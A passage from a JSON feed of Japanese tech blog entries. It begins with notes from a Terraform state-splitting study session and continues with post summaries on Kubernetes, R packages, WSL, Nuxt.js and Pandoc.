〜ModulesとWorkspacesを利用して〜StateはTerraform上での管理を分ける意味では非常に重要な要素であり、適切に分けることで不慮の事故や予期せぬ変更からクラウドリソースを守ることができます。このセッションでは演者が実際にTerraformを利用して感じたことを交えながら、適切なStateの分割戦略とは?について話します。Stateの分割についてModuleによるアプローチとWorkspacesによるアプローチ、そしてそのあわせ技についての説明がありました。Workspacesは使ったことないのであまり知見がなかったので、いろいろ参考になる部分がありました。今のterraform運用だと環境ごとにディレクトリを切ってstateを分割してます。で、環境ごとの差異としてパラメータだけでなく、作るリソース作らないリソースが若干まちまちなので、そのままだとWorkspacesは向かないなと感じました。絶対に作るリソース、RDSやVPCなどは分割した上でWorkspacesで管理するのはありなのかなとは思いました。ただ、同じシステムで、環境毎のディレクトリとリソース毎のディレクトリが混在するのはわかりにくくならないかなという懸念はあります。悩ましいですねあと、ブランチ戦略も難しいですね。現状はmasterでprdをapplyするように、stagingでそれ以外の環境をapplyするようになってますが、全部masterでやるようにしても良いのではと思ったりもしてる今日このごろです。② クラウドリソース自体をdestroy/createdせずに、Terraformリソース定義の記述場所を変更する方法クラウドサービス上で稼働するリソースには一切手を付けずに、Terraformの定義記載場所だけを変更する方法を話します。Terraformを利用していると「このディレクトリ配置じゃダメだ。配置変えしたいのだけれど、リソースの再作成はできない。次にインフラ設計するときは、〇〇に注意しよう」という運用ナレッジが貯まると思います。スタート時点で完璧なTerraformディレクトリ設計ができれば御の字ですが、それが不可能なことは、この分野でベストプラクティスが確立されていないことにより証明されています。本パートでは「Terraformのディレクトリ配置には定石がないのだから、運用状況に合わせて柔軟に配置換えすべき」という観点から、「動作中リソースに影響なく、Terraform定義箇所を移植する方法」について話します。20220217_FutureTechNight_#20_TerraformState縛りの勉強会.pptx - Google スライドこんなふうに別のtfstateファイルにリソースをmvすることによって、Stateにリソースを移動できる手法を説明してました。terraform state mv -state-out=${moved_resource.tfstate} ${moved_resource}terraform state pull > ${to.tfstate}terraofm state mv -state=${moved_resource.tfstate} -state-out=${to.tfstate}terraform state push ${to.tfstate}State間でのリソース移動に関しては、terraform state rmとterraform importのあわせ技しか知らなかったので、新しい知見を得ました。まだ試せてないないんですが、State内での移動であれば、moved block使うのもありなのかなと思いました。ちなみリソースが消えた場合にもmove blockって使えるんですかね?なかなか他の会社のterraform運用の話を聞く機会があまりなかったので、楽しかったですね。最近勉強会出てもメモすら残さないことが多くて、せっかく参加したのにあまり有意義に時間を使えていなかったので、薄くてもいいので今後ちゃんと感想、意見を書き残していきたいと思いました。","isoDate":"2022-02-17T12:08:48.000Z","dateMiliSeconds":1645099728000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Kubelet APIをcurlで叩く","link":"https://bells17.medium.com/curl-to-kubelet-api-f73cb17888b7?source=rss-713cf42ce34d------2","isoDate":"2022-02-10T16:10:23.000Z","dateMiliSeconds":1644509423000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/02/10] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220210","contentSnippet":"普段は#kubenewsの2022年02月10日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/adlS59o984M 告知とかニュースっぽいもの k8sを便利にするらしいTanzu Application Platform...","isoDate":"2022-02-10T12:56:14.000Z","dateMiliSeconds":1644497774000,"authorName":"bells17","authorId":"bells17"},{"title":"minidown 0.4.0をCRANにリリースしました","link":"https://blog.atusy.net/2022/02/09/minidown-0-4-0/","contentSnippet":"minidownパッケージはR Markdownにおけるhtml_documentをもっとイイ感じにしたものです。作った理由や凄いところはTokyo.R 95の発表資料にまとめてます。","isoDate":"2022-02-09T00:00:00.000Z","dateMiliSeconds":1644364800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"cronRパッケージで環境変数を指定する機能を追加するPRをした","link":"https://blog.atusy.net/2022/01/21/support-envvar-in-cronr/","contentSnippet":"登山本で紹介したパッケージの機能不足コメントを頂いたのが嬉し過ぎて、 パッケージに機能追加を提案してきました。","isoDate":"2022-01-21T00:00:00.000Z","dateMiliSeconds":1642723200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"書籍「Rが生産性を高める」のサポートサイトを公開しました","link":"https://blog.atusy.net/2022/01/20/r-efficiency-book-support-site/","contentSnippet":"igjitさん、hanaoriさんと共に「Rが生産性を高める〜データ分析ワークフロー効率化の実践〜」を共著しました。公式サイト:https://gihyo.jp/book/2022/978-4-297-12524-0サポートサイト: https://github.com/ghmagazine/r_efficiency_book電子版の発売は1/21、紙版の発売は1/26となっています。早くみなさんの元にお届けしたいですね。","isoDate":"2022-01-20T00:00:00.000Z","dateMiliSeconds":1642636800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"grepとユカイな仲間たち","link":"https://blog.atusy.net/2022/01/18/grep-and-friends/","contentSnippet":"help(grep)にあるgregexprとかを理解したい。","isoDate":"2022-01-18T00:00:00.000Z","dateMiliSeconds":1642464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"StanでFused LASSOしてみたかった","link":"https://blog.atusy.net/2022/01/12/stan-fused-lasso/","contentSnippet":"テストデータgenlassoパッケージによる実装正則化項による実装状態空間モデルで実装コメントStanでLASSOを実装すると、罰則化項Lambdaも同時に最適化できる。そりゃいいなと思ったのでFused LASSOも実装してみたくなった。","isoDate":"2022-01-12T00:00:00.000Z","dateMiliSeconds":1641945600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Stanを使ったBayesian Lassoの実装に関するメモ","link":"https://blog.atusy.net/2022/01/09/bayesian-lasso/","contentSnippet":"LASSOは確率モデルだと係数の事前分布にラプラス分布を指定したものに相当するって話はちょいちょい聞くけど、実際の証明とか実装はどうなってるんだろうなーと思ったので、いくつかのサイトを渡り歩いてみた。","isoDate":"2022-01-09T00:00:00.000Z","dateMiliSeconds":1641686400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"WSL2でDNSは8.8.8.8を見つつX Serverを利用する","link":"https://zenn.dev/tayusa/articles/8a76c02772d0a5","contentSnippet":"概要VPNを利用するのでDNSサーバーを8.8.8.8に固定したいしかし、X Serverを使うので環境変数DISPLAYにWindowsが解決するホスト名を使用しているexport DISPLAY=\\"$(hostname).mshome.net:0.0\\"DISPLAYにホスト名ではなくIPアドレスを設定しDNSサーバーを固定する DNSサーバーを固定 /etc/wsl.confを作成/etc/wsl.conf[network]generateResolvConf = false /etc/resolv.confを削除$ sudo unli...","isoDate":"2021-12-28T00:57:59.000Z","dateMiliSeconds":1640653079000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"RでPython風docstringを実装してみる","link":"https://blog.atusy.net/2021/12/20/r-docstring/","contentSnippet":"関数魔改造講座body編と言えるかもしれない……。黒魔術の世界へようこそ。","isoDate":"2021-12-20T00:00:00.000Z","dateMiliSeconds":1639958400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Accurateの内部実装","link":"https://bells17.medium.com/accurate-internal-70915fe716ca?source=rss-713cf42ce34d------2","isoDate":"2021-12-15T18:56:05.000Z","dateMiliSeconds":1639594565000,"authorName":"bells17","authorId":"bells17"},{"title":"Nuxt.jsを「正しく」終了する","link":"https://zenn.dev/satohjohn/articles/fd876409209ed1","contentSnippet":"はじめにこの記事はNuxt.js Advent Calendar2021の12日目の記事です。11日目は@Skmt3PさんのNuxtのコンポーネントをWeb Componentとして利用するでした。(web component触ってきてないからへぇって気持ちで読まさせていただきました) 概要hooks自体を調べていたときにcloseという項目がありました。そして、説明にはNuxt インスタンスが正しく終了したときというのがありました。「正しく」とは一体…となって原文を見てみるとNuxt instance is gracefully closing.というこ...","isoDate":"2021-12-11T15:35:11.000Z","dateMiliSeconds":1639236911000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Self containedなHTMLドキュメント生成時にiframeしたいなら`knitr::include_url`関数を使おう","link":"https://blog.atusy.net/2021/12/06/rmarkdown-iframe/","contentSnippet":"R Markdownのhtml_documentなどでHTMLドキュメントを作成すると、デフォルトではグラフなどの画像もHTML内に埋め込んでくれます。","isoDate":"2021-12-06T00:00:00.000Z","dateMiliSeconds":1638748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Japan.RでTidy Tuesdayの企画した","link":"https://blog.atusy.net/2021/12/05/japanr2021/","contentSnippet":"みんなEnjoyしてくれて成功。私はTidy Tuesdayの企画と、コミュニティ運営に関するパネルディスカッションのパネラーをしました。","isoDate":"2021-12-05T00:00:00.000Z","dateMiliSeconds":1638662400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Daprつかってみた(Web APIのイメージでローカルストレージとGCSを同じように扱ってみる)","link":"https://zenn.dev/satohjohn/articles/96873574f07534","contentSnippet":"この記事は Web API Advent Calendar 2021 の5日目の記事になりますちなみに4日目は@sys_zeroさんのPower Automate for desktopの変数に関するTips「JSONにnull値がある場合の選択的置換」でした今回は、当日まで全く内容について考えられてなかったのですが、ふっと、頭にわいた、個人的に気になっているDaprについて調べて、ローカルストレージとGoogle Cloud Storage(以下GCS)を扱ってみます なんで今回Dapr?Daprを使うメリットの1つとして、他のサービスにつなぐ方法をHTTPまたはgRPCに...","isoDate":"2021-12-04T15:01:17.000Z","dateMiliSeconds":1638630077000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Tokyo.R 95でminidownパッケージを紹介でLTしてきました","link":"https://blog.atusy.net/2021/10/31/tokyor95/","contentSnippet":"LT時間切れで消化不良だったのに☆15もつけてくれてありがとう。","isoDate":"2021-10-31T00:00:00.000Z","dateMiliSeconds":1635638400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"LinuxでIntel製CPU内蔵のGPUを使うと動画再生時に画面がちらつく問題の対策","link":"https://blog.atusy.net/2021/10/24/linux-tearing-intel-gpu/","contentSnippet":"この1、2ヶ月ほどmanjaroで動画を再生する時、画面がちらつくようになったのが気になっていました。ググったところ、Intel製GPUの場合はちらつき防止のオプションがあるので有効化するといいみたいですね。","isoDate":"2021-10-24T00:00:00.000Z","dateMiliSeconds":1635033600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GKE CNI Deep Dive (2021)","link":"https://qiita.com/toVersus/items/4ff2525d562d8de4d530","contentSnippet":"GKE (Google Kubernetes Engine) のネットワーク周りの実装はユーザーの見えないところで変化を続けています。以前は、公式ドキュメントにあるように bridge interf…","isoDate":"2021-10-23T08:20:56.000Z","dateMiliSeconds":1634977256000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"\uD83D\uDD0D 可観測性に入門しよう","link":"https://speakerdeck.com/hiroki_hasegawa/ke-guan-ce-xing-niru-men-siyou","contentSnippet":"社内LTにて、可観測性を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(SREに入門しよう):\\rhttps://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","isoDate":"2021-10-22T04:00:00.000Z","dateMiliSeconds":1634875200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"WSLでGitHubのPersonal access token認証","link":"https://zenn.dev/tayusa/articles/f81e6551642867","contentSnippet":"参考https://github.com/microsoft/Git-Credential-Manager-Core#windows-subsystem-for-linux-wsl GitCredentialManagerとGitをインストールPowerShellにて> winget install --id Microtsoft.GitCredentialManagerCore> winget install --id Git.Gitwingetがなければ https://github.com/microsoft/winget-cli#installing...","isoDate":"2021-09-30T16:01:55.000Z","dateMiliSeconds":1633017715000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"PandocでPDFを作成する時に表の枠線を格子状にする","link":"https://blog.atusy.net/2021/09/22/pandoc-partial-conversion-by-filter/","contentSnippet":"LuaフィルタからJSONフィルタを呼んで更にPandocを呼びます。辛い。 プリアンブルも必要。 R Markdownユーザーは素直にパッケージを使いましょう。","isoDate":"2021-09-22T00:00:00.000Z","dateMiliSeconds":1632268800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ブランチをディレクトリに割り当つつGit管理対象外ファイルも同期するgit worksyncを作った","link":"https://blog.atusy.net/2021/09/15/git-worksync-1-0-0/","contentSnippet":"ブランチごとに別ディレクトリで簡単に作業できるgit worksyncコマンドを作りました。.gitignoreに入っているファイルや、git addしていないファイルも良い感じに同期できます。.venvとかdataとかGitで管理したくないけど、なくてはならないディレクトリをいつもあなたの傍に。","isoDate":"2021-09-15T00:00:00.000Z","dateMiliSeconds":1631664000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Vuexの型定義でモジュールでの型解決してくれるようにしてみた","link":"https://zenn.dev/satohjohn/articles/b064cf966a9e20","contentSnippet":"前提Nuxt.jsでVuexを使っているのでそのときにhttps://github.com/ktsn/vuex-type-helper以下を利用させてもらっていましたただ、モジュールのstore場合利用時にtypeがうまくはまらないから、どうするんだろうとか色々見てたのですがあんまりいい手段が見つからなく、自分で型定義でテンプレートリテラル部分書いたらどうなんだろうとおもってやってみました。正直もっと良い手段があると思いますが、今回は自分の勉強踏まえの備忘録。そして、多分Vue3対応とかが入ったらちゃんと動いていくんだと思うので、後で書き換えればいいし、現状型の問題だけな...","isoDate":"2021-09-11T04:37:38.000Z","dateMiliSeconds":1631335058000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Google ColabでRパッケージの再インストールを爆速にする","link":"https://blog.atusy.net/2021/08/30/quickly-install-r-packages-on-colab/","contentSnippet":"Google Driveを活用してtidymodelsパッケージの再インストールを5分から1秒に短縮した。","isoDate":"2021-08-30T00:00:00.000Z","dateMiliSeconds":1630281600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"FirebaseのCliでの操作で401系エラーが出るときの解決法","link":"https://zenn.dev/satohjohn/articles/d409819196c6b8","contentSnippet":"考えられる原因は以下ですログインできていない本当に権限がないcliに保存されているクレデンシャルが古い 前提環境としてはfirebase-tools 9.16.5です ログインできていないコレはわかりやすいです。以下コマンドでログインしてくださいfirebase loginちなみに、すでにログインしている場合は、ログインしているアカウントが表示されます(コレはまりポイント 本当に権限がないGCPのIAMの権限を確認してください。個人で直接Firebaseプロジェクトを作っている場合はあまり関係がないかもしれません。 cliに保存されているクレデンシャ...","isoDate":"2021-08-17T05:54:30.000Z","dateMiliSeconds":1629179670000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Rの乱数生成関数は一発で色んなパラメータの分布を作れるよ","link":"https://blog.atusy.net/2021/08/13/vectorize-rng/","contentSnippet":"あまり知られていない事実かもしれませんが、Rで乱数を発生させる関数のパラメータはベクトル化されています。つまり、正規分布から3000個の乱数を作る時、1000個ごとに期待値を0、1、2と変えるようなことが簡単にできます。覚えておくとシミュレーションで乱数が必要な時に、関数呼び出しを一度に纏められて便利&高速です。","isoDate":"2021-08-13T00:00:00.000Z","dateMiliSeconds":1628812800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ストレングスファインダーのコーチングを受けてみた","link":"https://bells17.medium.com/strengthsfinder-2140afddf46f?source=rss-713cf42ce34d------2","isoDate":"2021-08-11T13:27:04.000Z","dateMiliSeconds":1628688424000,"authorName":"bells17","authorId":"bells17"},{"title":"書評「機械学習を解釈する技術」","link":"https://blog.atusy.net/2021/08/09/techniques-to-interpret-ml-models/","contentSnippet":"どんな人におすすめか購入を迷う場合感想頭から順に読みたい本付録が充実冒頭の解説がイカス森下光之助(@dropout009)著「機械学習を解釈する技術」を献本頂きました。8月4日から8日までの間に、暇を見つけては開いて読了。せっかくなので全体的な感想をまとめておきたいと思います。読む最中の感想はTwitterのスレッドに綴りました。本稿では蛇足になると判断して省略する部分も多いので、気になる人は覗いてください。","isoDate":"2021-08-09T00:00:00.000Z","dateMiliSeconds":1628467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83C\uDFD7️ ドメイン駆動設計と依存性逆転の原則","link":"https://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","contentSnippet":"社内LTにて、ドメイン駆動設計と依存性逆転の原則を布教しましたʕ◔ϖ◔ʔ\\r\\rはてなブックマークのコメントもどうぞ!\\r\\rなお、ドメイン駆動設計を理解するためには、依存についても知る必要があります。\\r\\r是非、依存関係と依存オブジェクト注入もご参照ください\uD83D\uDC4D\uD83C\uDFFB","isoDate":"2021-08-06T04:00:00.000Z","dateMiliSeconds":1628222400000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Kube API Serverの内部実装を解説する技術同人誌を技術書典11で出しました!","link":"https://bells17.medium.com/wrote-the-kube-api-server-book-2155129db374?source=rss-713cf42ce34d------2","isoDate":"2021-07-19T09:16:43.000Z","dateMiliSeconds":1626686203000,"authorName":"bells17","authorId":"bells17"},{"title":"シェルでエイリアスを無視してコマンドを見つける","link":"https://blog.atusy.net/2021/07/14/shell-find-command/","contentSnippet":"CMD=\\"foo\\"echo \\"$( unalias $CMD &> /dev/null command -v $CMD)\\"でいい。詳細POSIXにはcommandコマンドがあり、引数をコマンドとして実行してくれます。command git config --get user.name#> atusyaliasを無視してくれる点が魅力ですね。","isoDate":"2021-07-14T00:00:00.000Z","dateMiliSeconds":1626220800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについて","link":"https://zenn.dev/nnaka2992/articles/1fa7fb5d03f958","contentSnippet":"Oracleインストール中にでたSysctl系エラーであたったkernel parameterについてTable of ContentsOracleインストール中にでたSysctl系エラーであたったkernel parameterについてMotivationそもそもsysctlとは何なのか?Oracleセットアップ中に遭遇したkernel parameterssemopm変更方法セマフォ(semaphore)とは?SEMSMLSEMMNSSEMOPMSEMMNIfile-max変更方法rem_default/rem_max/...","isoDate":"2021-07-11T08:41:03.000Z","dateMiliSeconds":1625992863000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"GitHub CLI(`gh`)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","link":"https://blog.atusy.net/2021/07/10/publish-gh-fzf/","contentSnippet":"端末上でレポジトリやissueを曖昧検索して内容をプレビューし、確定したらブラウザで開くなどの操作ができるghfコマンドを作りました。詳しい利用方法やインストール方法は→https://github.com/atusy/gh-fzf。zshプラグイン化しているのでzinitなどのユーザーは導入しやすいと思います。","isoDate":"2021-07-10T00:00:00.000Z","dateMiliSeconds":1625875200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"tidymodelsのrecipesパッケージがworkflowsパッケージの使用を推奨し始めた","link":"https://blog.atusy.net/2021/07/01/tidymodels/","contentSnippet":"tidymodelsを使ったモデリングにおいて、recipesパッケージは特徴量エンジニアリングを担います。従来、recipesパッケージは単体で、特徴量抽エンジニアリング方法の","isoDate":"2021-07-01T00:00:00.000Z","dateMiliSeconds":1625097600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Pandocでは--include-in-header引数とheader-includes変数は共存できない","link":"https://blog.atusy.net/2021/06/30/pandoc-header-includes/","contentSnippet":"ちょっとハマった。Pandocでマークダウンファイルを変換する場合、YAMLフロントマターの設定と引数を用いた設定では、引数が優先権を持つ。で、HTMLファイルのhead要素内に記述を追加する場合は","isoDate":"2021-06-30T00:00:00.000Z","dateMiliSeconds":1625011200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83E\uDD1D\uD83C\uDFFB 依存関係と依存オブジェクト注入","link":"https://speakerdeck.com/hiroki_hasegawa/yi-cun-guan-xi-toyi-cun-obuziekutozhu-ru","contentSnippet":"社内LTにて、依存関係と依存オブジェクト注入を布教しようと試みましたʕ◔ϖ◔ʔ\\r\\r関連テーマ(ドメイン駆動設計と依存性逆転の原則):\\rhttps://speakerdeck.com/hiroki_hasegawa/domeinqu-dong-she-ji-toyi-cun-xing-ni-zhuan-falseyuan-ze","isoDate":"2021-06-25T04:00:00.000Z","dateMiliSeconds":1624593600000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tidymodelsでデータの前処理内容を**tidy**に確認する(公式手順)","link":"https://blog.atusy.net/2021/06/23/tidy-inspect-tidymodels-preprocessing/","contentSnippet":"昨日の投稿で、tidymodelsのrecipesパッケージによる特徴量エンジニアリングを行った歳に、中心化につかった平均値はいくつかPCAの固有ベクトルはなにかをnot tidyに確認する方法を紹介しました。後から気付いたのですが、recipesパッケージはbroom::tidy関数を使って確認する方法を提供しています。tidyじゃ何をtidyにするかわからんし、もうちょい良い名前をつけて欲しいですね。さておき、試してみましょう。","isoDate":"2021-06-23T00:00:00.000Z","dateMiliSeconds":1624406400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Tidymodelsでデータの前処理内容を確認する","link":"https://blog.atusy.net/2021/06/22/inspect-tidymodels-preprocessing/","contentSnippet":"tidymodelsはRにおける統計モデリングや機械学習を便利にするためのフレームワークです。tidymodelsを利用するとパイプ演算子による処理の流れが明瞭なモデリングパッケージごとに異なる学習・予測インターフェースの統一といったメリットを享受でき、徐々にはやってきている印象です。","isoDate":"2021-06-22T00:00:00.000Z","dateMiliSeconds":1624320000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"HTML+CSSでaとかcodeとかの前後に空白を入れつつ、段落の左端を揃える","link":"https://blog.atusy.net/2021/06/21/css-inline-pseudo-margins/","contentSnippet":"p a.normal::before,p a.normal::after { content: none;}日本語の場合、単語の間にスペースを入れないため、リンクやコードと平文が地続きになりがちです。ちょっと空白を入れたい時は以下のようなCSSが活躍します。リンクを例にとってみましょう。p a::before,p a::after { content: \\" \\"; font-size: 0; word-spacing: 1rem;}リンクの前後に余白ではなく空白(半角スペース)を使うところがミソです。また、ここではあえて大袈裟に1remの空白を入れて、以下の例でわかりやすくしています。","isoDate":"2021-06-21T00:00:00.000Z","dateMiliSeconds":1624233600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Open Telemetry + Google Cloud Trace やってみた","link":"https://zenn.dev/satohjohn/articles/e37e8575966204","contentSnippet":"モチベーションGoogle Cloud Trace(以下Cloud Trace)がOpen Telemetryの対応をしているということで、更にドキュメントにはないけど(2021-06-14現在)Javaでもライブラリができたので、それを試してみる。分散トレーシングしたいって言う場合、GKEで組んでいる場合、Cloud Traceのライブラリを使って直接送るっていうのもありだが、Open Telemetryを使うことで、他のツールにも送れるような仕組みができる。 前提分散トレーシングについて知っているNuxt.jsについて少し知っている Open Telemetr...","isoDate":"2021-06-14T05:35:09.000Z","dateMiliSeconds":1623648909000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"denops.vimを使って引用符と括弧を操作するVimのプラグインを書いた","link":"https://zenn.dev/tayusa/articles/58d1c20172f662","contentSnippet":"はじめにかねてから、Denoを触ってみたいけど肝心の作るものがないなと思っていました。そんな矢先にたまたまdenops.vimとの邂逅を果たしたので、昔作ったプラグインを書き直してみました。denops.vimについてはhttps://github.com/vim-denops/denops.vimhttps://zenn.dev/lambdalisue/articles/b4a31fba0b1ce95104c9 作ったものhttps://github.com/atsuya0/dps-surrounding.vim題目のとおり、引用符と括弧を操作するvimのプラグイ...","isoDate":"2021-06-13T15:41:53.000Z","dateMiliSeconds":1623598913000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"Kustomize でスラッシュを含むパスにパッチを当てる","link":"https://zenn.dev/toshikish/articles/38896bb9ae1913","contentSnippet":"背景Kustomize では JSON Patch を用いて base のマニフェストにパッチを当てることができます。例えば,以下のマニフェストdeployment.yamlapiVersion: apps/v1kind: Deploymentmetadata: labels: app.kubernetes.io/name: myapp app.kubernetes.io/version: v1.0.0 name: myapp version: v1.0.0...の version の値を v1.0.1 に変えたい場合は,以下の...","isoDate":"2021-05-31T07:34:24.000Z","dateMiliSeconds":1622446464000,"authorName":"toshikish","authorId":"toshikish"},{"title":"\uD83D\uDC2D Goに入門しよう","link":"https://speakerdeck.com/hiroki_hasegawa/goniru-men-siyou","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","isoDate":"2021-05-27T04:00:00.000Z","dateMiliSeconds":1622088000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"PandocでWord出力する時にヘッダーやフッターの内容を動的に変更する","link":"https://blog.atusy.net/2021/05/23/pandoc-word-dynamic-header-and-footer/","contentSnippet":"Pandocで出力するdocxファイルに好みの書式設定などを反映するには、スタイルを設定済みのdocxファイルを用意しておき、そのファイルのパスを--reference-docオプションに指定します(以下リファレンスファイル)。スタイルのカスタマイズや作成方法は以下を参考にしてください。","isoDate":"2021-05-23T00:00:00.000Z","dateMiliSeconds":1621728000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"♾️ SREに入門しよう","link":"https://speakerdeck.com/hiroki_hasegawa/sreniru-men-siyou","contentSnippet":"社内LTにて、SRE用語を布教しようと試みましたʕ◔ϖ◔ʔ","isoDate":"2021-05-07T04:00:00.000Z","dateMiliSeconds":1620360000000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Rustの練習","link":"https://zenn.dev/satohjohn/articles/536589f3a86600","contentSnippet":"概要完全に参照の部分に慣れていないので、これをどうやって対応したのかを自分の整理のためにもメモしていくexerismでRustの勉強をしているが、その問題を使う Simple Linked List全容: https://exercism.io/tracks/rust/exercises/simple-linked-list/solutions/d0fdfb1c904344ecbf4bcf808c345cdc以下のような構造ときので後入れ先出しのパターンの場合pub struct SimpleLinkedList { head: Option&...","isoDate":"2021-05-01T14:15:59.000Z","dateMiliSeconds":1619878559000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"minidown 0.1.0をリリース","link":"https://blog.atusy.net/2021/04/04/minidown-0-1-0/","contentSnippet":"minidown 0.1.0をCRANにリリース。タブセット機能の追加、サイドバーに目次を表示した時のレイアウト改善などが主な変更です。","isoDate":"2021-04-04T00:00:00.000Z","dateMiliSeconds":1617494400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ftExtra 0.2.0をリリース!","link":"https://blog.atusy.net/2021/03/29/ftextra-0-2-0/","contentSnippet":"脚注、引用文献、段落の扱いを改善しつつ、処理速度も大幅改善","isoDate":"2021-03-29T00:00:00.000Z","dateMiliSeconds":1616976000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"\uD83D\uDC2D Lambda関数をGoで実装してみた話","link":"https://speakerdeck.com/hiroki_hasegawa/lambdaguan-shu-wogodeshi-zhuang-sitemitahua","contentSnippet":"社内LTにて、Goを布教しようと試みましたʕ◔ϖ◔ʔ","isoDate":"2021-03-26T04:00:00.000Z","dateMiliSeconds":1616731200000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"Tokyo.R 90でRStudio PBCに転職しようとした時の話をした","link":"https://blog.atusy.net/2021/03/11/tokyor90/","contentSnippet":"Tokyo.R 90でもBoothの頒布物でも語っていない裏話。","isoDate":"2021-03-11T00:00:00.000Z","dateMiliSeconds":1615420800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"dplyr 1.0.4で複数列を対象としたfilterが簡単になった","link":"https://blog.atusy.net/2021/02/03/dplyr-1-0-4/","contentSnippet":"dplyr 1.0.0から導入されたacross関数は、mutate関数やsummarize関数を複数列に簡単に適用できる便利な道具です。*_atや*_ifといった関数を過去のものにした他、group_byでも使えるなど、使いどころは多いです。","isoDate":"2021-02-03T00:00:00.000Z","dateMiliSeconds":1612310400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"July Tech Festa 2021 winterで発表&運営スタッフをしました","link":"https://bells17.medium.com/july-tech-festa-2021-winter%E3%81%A7%E7%99%BA%E8%A1%A8-%E9%81%8B%E5%96%B6%E3%82%B9%E3%82%BF%E3%83%83%E3%83%95%E3%82%92%E3%81%97%E3%81%BE%E3%81%97%E3%81%9F-385e7e18aac4?source=rss-713cf42ce34d------2","isoDate":"2021-01-26T04:26:28.000Z","dateMiliSeconds":1611635188000,"authorName":"bells17","authorId":"bells17"},{"title":"R MarkdownでBootstrap 4を使えるようになった","link":"https://blog.atusy.net/2021/01/21/rmd-bs4/","contentSnippet":"GitHub版のrmarkdownパッケージのhtml_document関数がBootstrap 4に対応しました。本記事ではどんなことができるのか紹介します。が、同じ内容をhtml_documentでBootstrap 4を使ってレンダリングしてみたので、そちらを参考にして下さい。","isoDate":"2021-01-21T00:00:00.000Z","dateMiliSeconds":1611187200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"AWS ソリューションアーキテクト アソシエート合格までのまとめ","link":"https://qiita.com/dirtymosschan/items/da3eebdf6b7be9c3eb67","contentSnippet":"#目次#0. はじめに先日、AWS ソリューションアーキテクト アソシエート に合格したので、忘れないうちに色々とアウトプットしておこうと思います。これから受験を考えている方の役にたてればと思い…","isoDate":"2021-01-19T13:11:47.000Z","dateMiliSeconds":1611061907000,"authorName":"Yu Kaneko","authorId":"mos914"},{"title":"minidownで目次をハイライトできるようにした","link":"https://blog.atusy.net/2021/01/14/minidown-toc-highlight/","contentSnippet":"minidown::mini_documentはrmarkdown::html_documentを軽量化しつつ同等以上の機能提供を目指すR Markdown用HTMLフォーマットです。","isoDate":"2021-01-14T00:00:00.000Z","dateMiliSeconds":1610582400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"blogdownで記事のテンプレートを用意する","link":"https://blog.atusy.net/2020/12/25/blogdown-archettype/","contentSnippet":"blogdownではR 